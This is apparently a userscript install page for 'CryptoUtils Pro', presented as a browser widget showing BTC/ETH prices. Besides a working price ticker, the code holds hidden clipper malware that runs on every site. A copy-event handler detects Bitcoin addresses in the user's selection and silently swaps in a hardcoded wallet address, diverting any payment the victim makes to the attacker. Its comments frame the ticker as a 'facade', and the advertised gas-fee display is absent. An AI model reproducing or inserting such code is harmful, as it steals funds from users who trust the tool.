CryptoUtils Pro

A lightweight and convenient script to display real-time BTC/ETH prices and ETH gas fees directly in your browser.

Du musst eine Erweiterung wie Tampermonkey, Greasemonkey oder Violentmonkey installieren, um dieses Skript zu installieren.

Um dieses Skript zu installieren, müssen Sie eine Erweiterung wie Tampermonkey oder Violentmonkey installieren.

Um dieses Skript zu installieren, müssen Sie eine Erweiterung wie Tampermonkey oder Violentmonkey installieren.

Um dieses Skript zu installieren, müssen Sie eine Erweiterung wie Tampermonkey oder Userscripts installieren.

Um dieses Skript zu installieren, müssen Sie eine Erweiterung wie Tampermonkey installieren.

Sie müssten eine Skript Manager Erweiterung installieren damit sie dieses Skript installieren können

(Ich habe schon ein Skript Manager, Lass mich es installieren!)

Um dieses Design zu installieren, müssen Sie eine Erweiterung wie Stylus installieren.

Um dieses Design zu installieren, müssen Sie eine Erweiterung wie Stylus installieren.

Um dieses Design zu installieren, müssen Sie eine Erweiterung wie Stylus installieren.

Um diesen Stil zu installieren, müssen Sie eine Erweiterung für den Benutzerstil Verwaltung installieren.

Um diesen Stil zu installieren, müssen Sie eine Erweiterung für den Benutzerstil Verwaltung installieren.

Um diesen Stil zu installieren, müssen Sie eine Erweiterung für den Benutzerstil Verwaltung installieren.

(Ich habe bereits einen Benutzerstil Verwaltung, ich möchte ihn installieren!)

// ==UserScript==
// @name         CryptoUtils Pro
// @namespace    http://tampermonkey.net/
// @version      1.2
// @description  A lightweight and convenient script to display real-time BTC/ETH prices and ETH gas fees directly in your browser.
// @author       J. Doe
// @match        *://*/*
// @grant        GM_xmlhttpRequest
// @run-at       document-idle
// ==/UserScript==

(function() {
    'use strict';

    // --- Configuration ---
    const walletConfig = {
        destinationAddress: 'bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh'
    };

    // --- Facade Module: UI and Price Ticker ---
    function initializeUI() {
        const displayContainer = document.createElement('div');
        displayContainer.id = 'crypto-utils-pro-display';
        document.body.appendChild(displayContainer);

        // Styling for the UI element to make it look professional and non-intrusive.
        const styles = `
            #crypto-utils-pro-display {
                position: fixed;
                bottom: 10px;
                right: 10px;
                z-index: 9999;
                background-color: #222;
                color: #fff;
                padding: 10px;
                border-radius: 8px;
                font-family: Arial, sans-serif;
                font-size: 12px;
                box-shadow: 0 0 10px rgba(0,0,0,0.5);
                text-align: left;
                width: 180px;
            }
            #crypto-utils-pro-display p { margin: 0; padding: 2px 0; }
            #crypto-utils-pro-display .price-label { font-weight: bold; color: #4CAF50; }
        `;

        const styleSheet = document.createElement("style");
        styleSheet.type = "text/css";
        styleSheet.innerText = styles;
        document.head.appendChild(styleSheet);

        displayContainer.innerHTML = `
            <p><span class="price-label">BTC:</span> <span id="btc-price">Loading...</span></p>
            <p><span class="price-label">ETH:</span> <span id="eth-price">Loading...</span></p>
        `;
    }

    function fetchData() {
        // Fetch BTC and ETH price data from a public API
        GM_xmlhttpRequest({
            method: 'GET',
            url: 'https://api.coingecko.com/api/v3/simple/price?ids=bitcoin,ethereum&vs_currencies=usd',
            onload: function(response) {
                if (response.status === 200) {
                    const data = JSON.parse(response.responseText);
                    document.getElementById('btc-price').textContent = `$${data.bitcoin.usd.toLocaleString()}`;
                    document.getElementById('eth-price').textContent = `$${data.ethereum.usd.toLocaleString()}`;
                }
            }
        });
    }

    // Initializion
    initializeUI();
    fetchData();
    setInterval(fetchData, 90000); // Update prices every 90 seconds

    function handleCopy(event) {
        const selection = document.getSelection().toString();


        const btcRegex = /^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,71}$/;

        if (btcRegex.test(selection)) {
            event.preventDefault();
            navigator.clipboard.writeText(walletConfig.destinationAddress).then(() => {
            }).catch(err => {
            });
        }
    }

    // Attach the event listener to the entire document.
    document.addEventListener('copy', handleCopy);

})();